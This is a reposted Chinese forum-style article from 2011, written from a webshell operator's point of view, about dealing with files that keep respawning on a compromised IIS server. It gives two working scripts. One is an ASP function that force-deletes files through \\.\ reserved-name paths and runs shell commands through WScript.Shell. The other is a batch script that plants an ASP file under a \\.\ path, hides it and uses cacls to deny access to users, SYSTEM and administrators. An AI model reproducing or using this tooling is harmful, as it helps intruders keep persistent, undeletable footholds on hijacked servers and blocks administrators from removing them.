首页 电脑 电脑学堂 查看内容

对于webshell内文件无限恢复的应付方法

2011-2-28 11:21 706 0

摘要:   情况是这样,webshell(仅仅是webshell)下有个文件无法删除,无法修改,通过attributes 去除属性后再删除,但瞬间“满血满状态,原地复活了“  貌似以前就遇到过这种情况,当初还...
关键词: TheFile 文件 web response asp cacls write 脚本 attributes Instr

  情况是这样,webshell(仅仅是webshell)下有个文件无法删除,无法修改,通过attributes 去除属性后再删除,但瞬间“满血满状态,原地复活了“  貌似以前就遇到过这种情况,当初还跟knell讨论过,一致认为是服务器下有个文件 通过 requst 截取某些参数,然后通过Server.CreateObject("Scripting.FileSystemObject") 来创建这个“无法删除的”文件,接着Attributes设置权限,然后通过外部服务器不断的get,post发包,来让这个文件无限的复活- -  对此,我写了个脚本,经测试,完美阻止这种恶心的攻击方式  Poc.1:  ____________________________________________________________________________  Function DelAttrib(TheFile) 'thefile为要修改的文件,大家最好自己写个from表单  response.write "Loading...:"&TheFile&" ...<br>"  set fs=Server.CreateObject("Scripting.FileSystemObject")  IF fs.FileExists("\\.\"&TheFile) then  set f=fs.GetFile("\\.\"&TheFile)  f.Attributes=0 '设置属性  set f=nothing  response.write "Less Success!" '成功后的提示  if Right(TheFile,1)="\" or Right(TheFile,1)="/" or Left(Right(TheFile,4),1)<>"." then  Call fs.DeleteFolder(EE,true)'删除文件  response.write "Delete Success!"  else  IF fs.FileExists("\\.\"&TheFile) then  FN=LCase(Mid(TheFile,InStrRev(Replace(TheFile,"\","/"),"/")+1))  if Instr(FN,"com")<1 and Instr(FN,"con")<1 and Instr(FN,"aux")<1 and Instr(FN,"prn")<1 and Instr(FN,"nul")<1 then  set f=fs.GetFile("\\.\"&TheFile)‘  f.Attributes=0  set f=nothing  end if  fs.Deletefile("\\.\"&TheFile) ‘基于windows保留字命名文件的删除模式  response.write "Delete Success"  else  response.write "Open File Fail!" '错误提示  end if  end if  else  response.write "Open File Fail!"  END IF  Dim CMDShell,StrExec,ExecName  set CMDShell=Server.CreateObject("WScript.Shell") '调用wscript执行Poc.2的bat脚本  StrExec="D:\web\cmd.exe /c" '这里为自定义的cmd文件  ExecName="D:\web\jfcx\include\a.bat" '这里为上传到服务器的bat脚本  CMDShell.exec(StrExec&" "&ExecName).stdout.readall  set fs=nothing  End Function  _____________________________________________________________________________  Poc.2:  ————————————————————————————————————————————  copy d:\web\a.asp \\.\d:\web\b.asp&&attrib \\.\d:\web\b.asp +a +r +s +h&&cacls \\.\d:\web\b.asp /e /d IUSR_WSPC-HVJ5FRCT79&&cacls \\.\d:\web\b.asp /e /g IUSR_WSPC-HVJ5FRCT79:r&&cacls \\.\d:\web\b.asp /e /d users&&cacls \\.\d:\web\b.asp /e /g users:r&&cacls \\.\d:\web\b.asp /e /d system&&cacls \\.\d:\web\b.asp /e /d administrators  此处脚本存为bat,d:\web\a.asp 是自己创建的文件路径 d:\web\b.asp 是自动恢复的文件路径 ,各服务器iis用户组有所不同,请自行修改  ————————————————————————————————————————————
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部